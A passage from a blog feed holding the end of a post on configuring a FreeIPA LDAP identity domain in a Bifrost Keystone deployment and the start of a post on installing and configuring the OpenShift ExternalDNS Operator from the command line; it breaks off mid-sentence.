./bifrost-cli install --enable-keystone --enable-tls  --network-interface enP4p4s0f0np0 --dhcp-pool 192.168.116.25-192.168.116.75
&lt;/pre&gt;



&lt;p&gt;After making sure that Keystone could work for normal things;&lt;/p&gt;



&lt;pre lang=&quot;bash&quot;&gt;
source /opt/stack/bifrost/bin/activate
export OS_CLOUD=bifrost-admin
 openstack user list -f yaml
- ID: 1751a5bb8b4a4f0188069f8cb4f8e333
  Name: admin
- ID: 5942330b4f2c4822a9f2cdf45ad755ed
  Name: ironic
- ID: 43e30ad5bf0349b7b351ca2e86fd1628
  Name: ironic_inspector
- ID: 0c490e9d44204cc18ec1e507f2a07f83
  Name: bifrost_user
&lt;/pre&gt;



&lt;p&gt;  I had to install python3-ldap and python3-ldappool .&lt;/p&gt;



&lt;pre lang=&quot;bash&quot;&gt;
sudo apt install python3-ldap python3-ldappool
&lt;/pre&gt;



&lt;p&gt;Now create a domain for the LDAP data.&lt;/p&gt;



&lt;pre lang=&quot;bash&quot;&gt;
openstack domain create freeipa
...
openstack domain show freeipa -f yaml

description: ''
enabled: true
id: 422608e5c8d8428cb022792b459d30bf
name: freeipa
options: {}
tags: []
&lt;/pre&gt;



&lt;p&gt;Edit /etc/keystone/keystone.conf to support &lt;a href=&quot;https://docs.openstack.org/keystone/latest/admin/configuration.html#domain-specific-configuration&quot;&gt;domin specific backends&lt;/a&gt; and back them with file config.  When you are done, your identity section should look like this.&lt;/p&gt;



&lt;pre lang=&quot;ini&quot;&gt;
[identity]
domain_specific_drivers_enabled=true
domain_config_dir=/etc/keystone/domains
driver = sql
&lt;/pre&gt;



&lt;p&gt;Create the corresponding directory for the new configuration files.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;



&lt;pre lang=&quot;ini&quot;&gt;
sudo mkdir /etc/keystone/domains/
&lt;/pre&gt;



&lt;p&gt;Add in a configuration file for your LDAP server.  Since I called my domain &lt;strong&gt;freeipa&lt;/strong&gt; I have to name the config file /etc/keystone/domains/keystone.freeipa.conf&lt;/p&gt;



&lt;pre lang=&quot;ini&quot;&gt;
[identity]
driver = ldap

[ldap]
url = ldap://den-admin-01


user_tree_dn = cn=users,cn=accounts,dc=younglogic,dc=com
user_objectclass = person
user_id_attribute = uid
user_name_attribute = uid
user_mail_attribute = mail
user_allow_create = false
user_allow_update = false
user_allow_delete = false
group_tree_dn = cn=groups,cn=accounts,dc=younglogic,dc=com
group_objectclass = groupOfNames
group_id_attribute = cn
group_name_attribute = cn
group_member_attribute = member
group_desc_attribute = description
group_allow_create = false
group_allow_update = false
group_allow_delete = false
user_enabled_attribute = nsAccountLock
user_enabled_default = False
user_enabled_invert = true
&lt;/pre&gt;



&lt;p&gt;To make changes, to restart sudo systemctl restart uwsgi@keystone-public&lt;/p&gt;



&lt;pre lang=&quot;ini&quot;&gt;
sudo systemctl restart uwsgi@keystone-public
&lt;/pre&gt;



&lt;p&gt;And test that it worked&lt;/p&gt;



&lt;pre lang=&quot;bash&quot;&gt;
openstack user list -f yaml  --domain freeipa
- ID: b3054e3942f06016f8b9669b068e81fd2950b08c46ccb48032c6c67053e03767
  Name: renee
- ID: d30e7bc818d2f633439d982783a2d145e324e3187c0e67f71d80fbab065d096a
  Name: ann
&lt;/pre&gt;



&lt;p&gt;This same approach can work if you need to add more than one LDAP server to your Keystone deployment.&lt;/p&gt;</content>
		<author>
			<name>Adam Young</name>
			<uri>http://adam.younglogic.com</uri>
		</author>
		<source>
			<title type="html">FreeIPA – Adam Young's Web Log</title>
			<subtitle type="html">The Notebook of a Programmer Climber Musician Ex-Soldier Woodworker and a few other things</subtitle>
			<link rel="self" href="http://adam.younglogic.com/category/software/freeipa,kerberos,ldap/feed/"/>
			<id>http://adam.younglogic.com/category/software/freeipa,kerberos,ldap/feed/</id>
			<updated>2026-05-10T07:26:09+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Experimenting with ExternalDNS</title>
		<link href="https://frasertweedale.github.io/blog-redhat/posts/2022-03-24-k8s-external-dns.html"/>
		<id>https://frasertweedale.github.io/blog-redhat/posts/2022-03-24-k8s-external-dns.html</id>
		<updated>2022-03-24T00:00:00+00:00</updated>
		<content type="html">&lt;h1 id=&quot;experimenting-with-externaldns&quot;&gt;Experimenting with ExternalDNS&lt;/h1&gt;
&lt;p&gt;DNS is a critical piece of the puzzle for exposing Kubernetes-hosted
applications to the Internet. Running the application means nothing
if you can’t get traffic to it. Keeping public DNS records in sync
with the deployed applications is important. The Kubernetes
&lt;a href=&quot;https://github.com/kubernetes-sigs/external-dns&quot;&gt;ExternalDNS&lt;/a&gt; was developed for this purpose.&lt;/p&gt;
&lt;p&gt;ExternalDNS exposes Kubernetes Services and Routes in by managing
records in external DNS providers. It &lt;a href=&quot;https://github.com/kubernetes-sigs/external-dns/blob/570b51659fdc218281e3504a558a437178465f29/README.md#status-of-providers&quot;&gt;supports many DNS
providers&lt;/a&gt;, including the DNS services of the popular
cloud providers (AWS, Google Cloud, Azure, …).&lt;/p&gt;
&lt;p&gt;I have been experimenting with ExternalDNS. My purpose is not only
to understand installation and basic usage, but also whether it can
meet the specific DNS requirements of FreeIPA, such as &lt;code&gt;SRV&lt;/code&gt;
records. This post outlines my findings.&lt;/p&gt;
&lt;h2 id=&quot;operator-installation&quot;&gt;Operator installation &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#operator-installation&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;https://github.com/kubernetes-sigs/external-dns&quot;&gt;ExternalDNS&lt;/a&gt; controller is a Kubernetes sub-project (or
SIG—&lt;em&gt;special interest group&lt;/em&gt;). In the OpenShift ecosystem, the
&lt;a href=&quot;https://github.com/openshift/external-dns-operator&quot;&gt;ExternalDNS Operator&lt;/a&gt; creates and manages ExternalDNS controller
instances defined by &lt;em&gt;custom resources&lt;/em&gt; (CRs) of &lt;code&gt;kind: ExternalDNS&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The ExternalDNS Operator is available as a &lt;em&gt;Tech Preview&lt;/em&gt; in
OpenShift Container Platform 4.10. So, it is visible in the
&lt;em&gt;OperatorHub&lt;/em&gt; catalogue out-of-the-box. The &lt;a href=&quot;https://docs.openshift.com/container-platform/4.10/networking/external_dns_operator/nw-installing-external-dns-operator.html&quot;&gt;official docs&lt;/a&gt;
explain how to install the operator via the OperatorHub web console.
The instructions were easy to follow.&lt;/p&gt;
&lt;p&gt;I prefer using the CLI where possible. The OperatorHub system is
complex but I eventually worked out what commands and objects are
needed to install the ExternalDNS Operator from the CLI.&lt;/p&gt;
&lt;p&gt;First, create the &lt;em&gt;operand&lt;/em&gt; namespaces and RBAC objects. The
operand namespace is where the ExternalDNS controllers (as opposed
to the ExternalDNS &lt;em&gt;Operator&lt;/em&gt; controller) will live.&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;$ oc create ns external-dns
namespace/external-dns created

$ oc apply -f \
    https://raw.githubusercontent.com/openshift/external-dns-operator/release-0.1/config/rbac/extra-roles.yaml
role.rbac.authorization.k8s.io/external-dns-operator created
rolebinding.rbac.authorization.k8s.io/external-dns-operator created
clusterrole.rbac.authorization.k8s.io/external-dns created
clusterrolebinding.rbac.authorization.k8s.io/external-dns created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, create the &lt;code&gt;external-dns-operator&lt;/code&gt; namespace where the
operator itself shall live:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc create ns external-dns-operator
namespace/external-dns-operator created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally create the OperatorGroup and OperatorHub Subscription
objects. Note the contents of &lt;code&gt;external-dns-operator.yaml&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb3&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb3-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; operators.coreos.com/v1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; OperatorGroup&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;generateName&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; external-dns-operator-&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; external-dns-operator&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;targetNamespaces&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; external-dns-operator&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;pp&quot;&gt;---&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; operators.coreos.com/v1alpha1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Subscription&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; external-dns-operator&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; external-dns-operator&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-15&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-15&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-16&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-16&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; external-dns-operator&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-17&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-17&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; redhat-operators&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb3-18&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb3-18&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;sourceNamespace&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; openshift-marketplace&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Create the objects:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc create -f external-dns-operator.yaml
operatorgroup.operators.coreos.com/external-dns-operator-8852w created
subscription.operators.coreos.com/external-dns-operator created&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After a short delay (~1 minute for me) the operator installation
should finish. Observe the various Kubernetes objects that
represent the running operator:&lt;/p&gt;
&lt;pre class=&quot;shell&quot;&gt;&lt;code&gt;% oc get -n external-dns-operator all
NAME                                         READY   STATUS    RESTARTS      AGE
pod/external-dns-operator-594b465984-r2pc5   2/2     Running   2 (59s ago)   5m13s

NAME                                            TYPE        CLUSTER-IP       EXTERNAL-IP   PORT(S)    AGE
service/external-dns-operator-metrics-service   ClusterIP   172.30.151.142   &amp;lt;none&amp;gt;        8443/TCP   5m15s
service/external-dns-operator-service           ClusterIP   172.30.210.21    &amp;lt;none&amp;gt;        9443/TCP   59s

NAME                                    READY   UP-TO-DATE   AVAILABLE   AGE
deployment.apps/external-dns-operator   1/1     1            1           5m14s

NAME                                               DESIRED   CURRENT   READY   AGE
replicaset.apps/external-dns-operator-594b465984   1         1         1       5m15s&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;the-externaldns-custom-resource&quot;&gt;The &lt;code&gt;ExternalDNS&lt;/code&gt; custom resource &lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#the-externaldns-custom-resource&quot; class=&quot;section&quot;&gt;§&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Now that the operator is installed, we can define an &lt;code&gt;ExternalDNS&lt;/code&gt;
customer resource (CR). The operator creates an ExternalDNS
controller instance for each CR. Here is an example
(&lt;code&gt;externaldns-test.yaml&lt;/code&gt;):&lt;/p&gt;
&lt;div class=&quot;sourceCode&quot; id=&quot;cb6&quot;&gt;&lt;pre class=&quot;sourceCode yaml&quot;&gt;&lt;code class=&quot;sourceCode yaml&quot;&gt;&lt;span id=&quot;cb6-1&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-1&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;apiVersion&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; externaldns.olm.openshift.io/v1alpha1&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-2&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-2&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;kind&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; ExternalDNS&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-3&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-3&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;metadata&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-4&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-4&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; test&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-5&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-5&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;fu&quot;&gt;spec&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-6&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-6&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;domains&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-7&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-7&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;filterType&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Include &lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-8&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-8&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;matchType&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Exact &lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-9&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-9&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-10&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-10&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;provider&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-11&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-11&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; GCP&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-12&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-12&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;  &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;source&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-13&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-13&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; Service&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-14&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-14&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-15&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-15&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;serviceType&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-16&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-16&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; LoadBalancer&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-17&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-17&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;labelFilter&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-18&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-18&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;matchLabels&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-19&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-19&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; echo&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-20&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-20&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;fu&quot;&gt;fqdnTemplate&lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span id=&quot;cb6-21&quot;&gt;&lt;a href=&quot;https://frasertweedale.github.io/blog-redhat/atom.xml#cb6-21&quot; tabindex=&quot;-1&quot;&gt;&lt;/a&gt;&lt;span class=&quot;at&quot;&gt;      &lt;/span&gt;&lt;span class=&quot;kw&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;at&quot;&gt; &lt;/span&gt;&lt;span class=&quot;st&quot;&gt;&amp;quot;{{.Name}}.ci-ln-053y10k-72292.origin-ci-int-gce.dev.rhcloud.com&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Breaking down the &lt;code&gt;spec&lt;/code&gt;, we see the following fields:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;domains&lt;/code&gt;&lt;/strong&gt; gives a rule for which domains this &lt;code&gt;ExternalDNS&lt;/code&gt;
controller must manage. In this case, any domain name with a
&lt;em&gt;suffix&lt;/em&gt; matching the &lt;code&gt;name&lt;/code&gt; subfield will match the rule.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;provider&lt;/code&gt;&lt;/strong&gt; specifies the cloud provider—in this case GCP
(Google Cloud). For GCP there is nothing else to configure; the
controller will use the main cluster secret to authenticate to
Google Cloud.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;source&lt;/code&gt;&lt;/strong&gt; specifies which kinds of objects the controller will
monitor to determine the DNS records to be created/managed. We
configure the controller to watch Service objects. Further
configuration is specified in subfields:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;serviceType&lt;/code&gt;&lt;/strong&gt; restricts the type(s) of Service objects to be
considered.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;labelFilter&lt;/code&gt;&lt;/strong&gt; can be set to further restrict the set of
source objects by matching on the &lt;code&gt;label&lt;/code&gt; field. In this
example, we only match Service objects with label &lt;code&gt;app: echo&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;fqdnTemplate&lt;/code&gt;&lt;/strong&gt; specifies how to derive the fully qualified
DNS name from the Service object.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;&lt;code&gt;hostnameAnnotation&lt;/code&gt;&lt;/strong&gt; can be set to &lt;code&gt;Allow&lt;/code&gt; to allow the FQDN
to be specified via the
&lt;code&gt;external-dns.alpha.kubernetes.io/hostname&lt;/code&gt; annotation on the
Service object. The default value is &lt;code&gt;Ignore&lt;/code&gt;, in which case
&lt;code&gt;fqdnTemplate&lt;/code&gt; is required.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Aside from &lt;code&gt;type: Service&lt;/code&gt;, the &lt;code&gt;ExternalDNS&lt;/code&gt; CR also recognises
&lt;code&gt;type: OpenShiftRoute&lt;/code&gt;. This type uses &lt;code&gt;Route&lt;/code&gt; objects as the
source, creating &lt;code&gt;CNAME&lt;/code&gt; records to alias the FQDN derived from the
